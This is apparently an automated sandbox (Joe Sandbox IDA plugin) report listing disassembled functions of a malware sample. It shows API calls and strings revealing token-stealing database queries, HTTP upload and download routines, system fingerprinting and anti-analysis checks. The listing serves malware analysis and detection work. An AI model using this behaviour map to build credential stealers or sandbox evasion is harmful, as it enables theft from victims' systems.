Part of subcall function 00416E10: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137C6,00000000,?,02C52310,?,0041D8AC,?,00000000), ref: 00416E1B
Part of subcall function 00416E10: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E75

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

lstrcat.KERNEL32(?,00000000), ref: 0040A4AA
lstrcat.KERNEL32(?,0041DA80), ref: 0040A4B9
lstrcat.KERNEL32(?,00000000), ref: 0040A4CC
lstrcat.KERNEL32(?,0041DA84), ref: 0040A4DB
lstrcat.KERNEL32(?,00000000), ref: 0040A4EE
lstrcat.KERNEL32(?,0041DA88), ref: 0040A4FD
lstrcat.KERNEL32(?,00000000), ref: 0040A510
lstrcat.KERNEL32(?,0041DA8C), ref: 0040A51F
lstrcat.KERNEL32(?,00000000), ref: 0040A532
lstrcat.KERNEL32(?,0041DA90), ref: 0040A541
lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,0041DA94), ref: 0040A563

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0040A5AC
lstrcat.KERNEL32(?,0041DA98), ref: 0040A5C6
lstrlen.KERNEL32(?), ref: 0040A605
lstrlen.KERNEL32(?), ref: 0040A614
memset.MSVCRT ref: 0040A65D

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

DeleteFileA.KERNEL32(00000000), ref: 0040A689

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 979f9613e301092a91e14d92586401edc04fddc8cc755cc5c63ecefdd13eb1e2
Instruction ID: bd02e93af9596a933beb49caffbdf01eb972470a4910f4ccf2bac6e54187bab7
Opcode Fuzzy Hash: 979f9613e301092a91e14d92586401edc04fddc8cc755cc5c63ecefdd13eb1e2
Instruction Fuzzy Hash: A8027471910208ABCB14EBA1ED96EEE7739BF14305F11016EF106B7091DF38AE95CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00404540 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004045D5
StrCmpCA.SHLWAPI(?,02C52620), ref: 004045FA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040477A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,0041D797,00000000,?,?,00000000,?,",00000000,?,02C524A0), ref: 00404AA8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404AC4
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404AD8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404B09
InternetCloseHandle.WININET(00000000), ref: 00404B6D
InternetCloseHandle.WININET(00000000), ref: 00404B85
HttpOpenRequestA.WININET(00000000,02C524D0,?,02C58508,00000000,00000000,00400100,00000000), ref: 004047D5

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

InternetCloseHandle.WININET(00000000), ref: 00404B8F

Strings

------, xrefs: 0040467D
", xrefs: 004049F3
------, xrefs: 004047E8
", xrefs: 004048B2
------, xrefs: 00404929

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 8da41da1cb0455b3bc8a3e5a96713566edb3f93b12c426840fd98a4de603bd1a
Instruction ID: 99f9639c76b74e2b4d425d68ffeb60ddafa599b481a1d0e01fc83eaad96a83b3
Opcode Fuzzy Hash: 8da41da1cb0455b3bc8a3e5a96713566edb3f93b12c426840fd98a4de603bd1a
Instruction Fuzzy Hash: 6E121172A102189BCB14EB51EDA2FDEB739AF54304F5141AEB10663091DF786F89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AD0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

RegOpenKeyExA.KERNEL32(00000000,02C53B08,00000000,00020019,00000000,0041D289), ref: 00414B31
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BB3
wsprintfA.USER32 ref: 00414BE6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C08
RegCloseKey.ADVAPI32(00000000), ref: 00414C19
RegCloseKey.ADVAPI32(00000000), ref: 00414C26

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Strings

%s\%s, xrefs: 00414BDA
?, xrefs: 00414B07
- , xrefs: 00414D30

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 4c7be7c13767a11504c55a08e932e139d2b17b8f26ab6167c0c10c57124b9475
Instruction ID: 77965071c7983c65362e3a52fe57adc0589bab7d04e8b41716f89c949d1df689
Opcode Fuzzy Hash: 4c7be7c13767a11504c55a08e932e139d2b17b8f26ab6167c0c10c57124b9475
Instruction Fuzzy Hash: 63710A7290011C9BDB64DF64DD95FEA73B9BF48304F0086D9A109A6181DF74ABCACF94

Uniqueness

Uniqueness Score: -1.00%

Function 004141B0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141CF
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041420C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414290
HeapAlloc.KERNEL32(00000000), ref: 00414297
wsprintfA.USER32 ref: 004142CD

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Strings

:, xrefs: 004141E9
C, xrefs: 004141D9
\, xrefs: 004141ED

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 683940b0433c0862d2e507977f5d6d6396799225d11d9bf5babb5ed3195da00b
Instruction ID: e9db0a5fb1af0759de8f7002c2e4f3ac64138b722e188ca6fed7a4a209b0fc5c
Opcode Fuzzy Hash: 683940b0433c0862d2e507977f5d6d6396799225d11d9bf5babb5ed3195da00b
Instruction Fuzzy Hash: A131A8B0D002489BDF20DFA4DC45BEEB7B4AF48704F004099F54967281DB78AAD5CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004093A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
LocalAlloc.KERNEL32(00000040,?), ref: 00409411
ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
LocalFree.KERNEL32('@), ref: 00409470
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Strings

'@, xrefs: 004093C3, 00409486
'@, xrefs: 00409426, 00409449, 00409429, 0040946F

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID: '@$'@
API String ID: 1815715184-345573653
Opcode ID: 17284b2a018537d4418b2bf206932c896bcb709837330b5e64a7ef97c1d1f561
Instruction ID: 2c3313cc846e8cace8267d97e49fc8a2b01df18f2572e32a86dabcb1b5362a0e
Opcode Fuzzy Hash: 17284b2a018537d4418b2bf206932c896bcb709837330b5e64a7ef97c1d1f561
Instruction Fuzzy Hash: 1631EA74A00209EFDB24DF94C885BAEB7B5BF48314F108169E915A73D0D778AD42CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414950 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,02C56BC8,00000000,?,0041D774,00000000,?,00000000,00000000,?,02C56B68), ref: 0041495D
HeapAlloc.KERNEL32(00000000), ref: 00414964
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414985
__aulldiv.LIBCMT ref: 0041499F
__aulldiv.LIBCMT ref: 004149AD
wsprintfA.USER32 ref: 004149D9

Strings

%d MB, xrefs: 004149D0
@, xrefs: 0041497A

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a20d0a6a5635da1d062ac6d6d21c57d3294084c3a9f838a70f234ac636bd73c4
Instruction ID: 576a2b170799144a77153bc894e9100f7829ff7fce93c8fd51003b5824c24931
Opcode Fuzzy Hash: a20d0a6a5635da1d062ac6d6d21c57d3294084c3a9f838a70f234ac636bd73c4
Instruction Fuzzy Hash: EE111EB0D40208ABDB10DFE4CC49FAF77B9BB48705F504549F605BB280D7B8A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405D40 Relevance: 13.6, APIs: 9, Instructions: 133
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

InternetOpenA.WININET(0041D7D3,00000001,00000000,00000000,00000000), ref: 00405DAF
StrCmpCA.SHLWAPI(?,02C52620), ref: 00405DE7
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00405E2F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00405E53
InternetReadFile.WININET(00410E73,?,00000400,?), ref: 00405E7C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00405EAA
CloseHandle.KERNEL32(?,?,00000400), ref: 00405EE9
InternetCloseHandle.WININET(00410E73), ref: 00405EF3
InternetCloseHandle.WININET(00000000), ref: 00405F00

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: f32947f3f695914c80e3d875d2be47c50788520812017e60a606a7315d92206e
Instruction ID: 1ecd7eb470e78f3b78fadec93a09906353995852539eb01b0823f23b7bf4f874
Opcode Fuzzy Hash: f32947f3f695914c80e3d875d2be47c50788520812017e60a606a7315d92206e
Instruction Fuzzy Hash: 065154B1A00618ABDB20DF51DC55BEF7779EB44305F1080AAB605B71C0DB78AB86CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B250 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B44D

Part of subcall function 00415520: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415542

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040B47B
lstrlen.KERNEL32(00000000), ref: 0040B553
lstrlen.KERNEL32(00000000), ref: 0040B567

Strings

AccountTokens, xrefs: 0040B28A
AccountTokens, xrefs: 0040B319
SELECT service, encrypted_token FROM token_service, xrefs: 0040B3BB
AccountId, xrefs: 0040B472

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: ecdf68a123e4f3b83473fbac0a2b5fbdf9755365a2ff01ec6e594e304fe68f3c
Instruction ID: cc537aef0d4a8deda0863f8f5536beba1bac57a594bf3037a8aa217949740226
Opcode Fuzzy Hash: ecdf68a123e4f3b83473fbac0a2b5fbdf9755365a2ff01ec6e594e304fe68f3c
Instruction Fuzzy Hash: 15A122719101089BCF14EBA1EC56EEE7739BF54308F5141AEF50673191EF38AA89CB68

Uniqueness

Uniqueness Score: -1.00%

Function 02FC003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02FC024D

Strings

kernel32.dll, xrefs: 02FC008F, 02FC0095
cess, xrefs: 02FC018D

Memory Dump Source

Source File: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fc0000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 610401f59bd3e033c332991e216635eec9ee6a516276f39422bb654a80fc4d1b
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 97525975A01229DFDB64CF58C984BACBBB1BF09304F1480E9E94DAB351DB30AA95DF14

Uniqueness

Uniqueness Score: -1.00%

Function 004136A0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C36D98), ref: 00415F01
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C36BB8), ref: 00415F1A
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C36CF0), ref: 00415F32
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C36AB0), ref: 00415F4A
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C36BD0), ref: 00415F63
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C52440), ref: 00415F7B
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C50530), ref: 00415F93
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C50550), ref: 00415FAC
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C36C48), ref: 00415FC4
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C36C30), ref: 00415FDC
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C528A0), ref: 00415FF5
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C52888), ref: 0041600D
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C50330), ref: 00416025
Part of subcall function 00415EC0: GetProcAddress.KERNEL32(76210000,02C528B8), ref: 0041603E

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011D1

Part of subcall function 00401120: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136C7,0041D6E3), ref: 0040112A
Part of subcall function 00401120: ExitProcess.KERNEL32 ref: 0040113E

Part of subcall function 004010D0: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136CC), ref: 004010EB
Part of subcall function 004010D0: VirtualAllocExNuma.KERNEL32(00000000,?,?,004136CC), ref: 004010F2
Part of subcall function 004010D0: ExitProcess.KERNEL32 ref: 00401103

Part of subcall function 004011E0: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401218
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401226
Part of subcall function 004011E0: ExitProcess.KERNEL32 ref: 00401254

Part of subcall function 00413430: GetUserDefaultLangID.KERNEL32(?,?,004136D6,0041D6E3), ref: 00413434

GetUserDefaultLangID.KERNEL32 ref: 004136D6

Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401186

Part of subcall function 004143B0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02C523D0,004136DB,0041D6E3), ref: 004143BD
Part of subcall function 004143B0: HeapAlloc.KERNEL32(00000000), ref: 004143C4
Part of subcall function 004143B0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143DC

Part of subcall function 004143F0: GetProcessHeap.KERNEL32(00000000,00000104,004136DB,0041D6E3), ref: 004143FD
Part of subcall function 004143F0: HeapAlloc.KERNEL32(00000000), ref: 00414404
Part of subcall function 004143F0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041441C

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02C52310,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041377A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00413798
CloseHandle.KERNEL32(00000000), ref: 004137A9
Sleep.KERNEL32(00001770), ref: 004137B4
CloseHandle.KERNEL32(?,00000000,?,02C52310,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137CA
ExitProcess.KERNEL32 ref: 004137D2

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: 5156bdf81c828f3e65a39774704a3c4f392cc6adece8f99a8fabcc58ff7c7ec2
Instruction ID: 4232bb8600e498e071516115d002d394cec6f51152d02b3901c7c0907a057c8c
Opcode Fuzzy Hash: 5156bdf81c828f3e65a39774704a3c4f392cc6adece8f99a8fabcc58ff7c7ec2
Instruction Fuzzy Hash: B6314FB0A00204ABDB14FBE1EC56BEE7779AF48308F50452EF112661D1DF78A686C66D

Uniqueness

Uniqueness Score: -1.00%

Function 00414B69 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BB3
wsprintfA.USER32 ref: 00414BE6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C08
RegCloseKey.ADVAPI32(00000000), ref: 00414C19
RegCloseKey.ADVAPI32(00000000), ref: 00414C26

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

RegQueryValueExA.KERNEL32(00000000,02C56B20,00000000,000F003F,?,00000400), ref: 00414C79
lstrlen.KERNEL32(?), ref: 00414C8E
RegQueryValueExA.KERNEL32(00000000,02C56B80,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,0041D4B4), ref: 00414D26
RegCloseKey.KERNEL32(00000000), ref: 00414D95
RegCloseKey.ADVAPI32(00000000), ref: 00414DA7

Strings

%s\%s, xrefs: 00414BDA

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 9baf030567fd9be430cb4ceaeeab00889c2e84c1a3b6792d6e34372d4b0deb8d
Instruction ID: 90a0c31323359f695dbcfeb3cf79dc538b919cf5f0382a2885d7616cf2870a5d
Opcode Fuzzy Hash: 9baf030567fd9be430cb4ceaeeab00889c2e84c1a3b6792d6e34372d4b0deb8d
Instruction Fuzzy Hash: AE213875900218ABDB64CF54DC85FE973B9BF88300F0085D9A649A6180DF74AAC6CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00415250: GetSystemTime.KERNEL32(?,02C318B8,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415276

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409BB1
lstrlen.KERNEL32(00000000), ref: 00409F6A

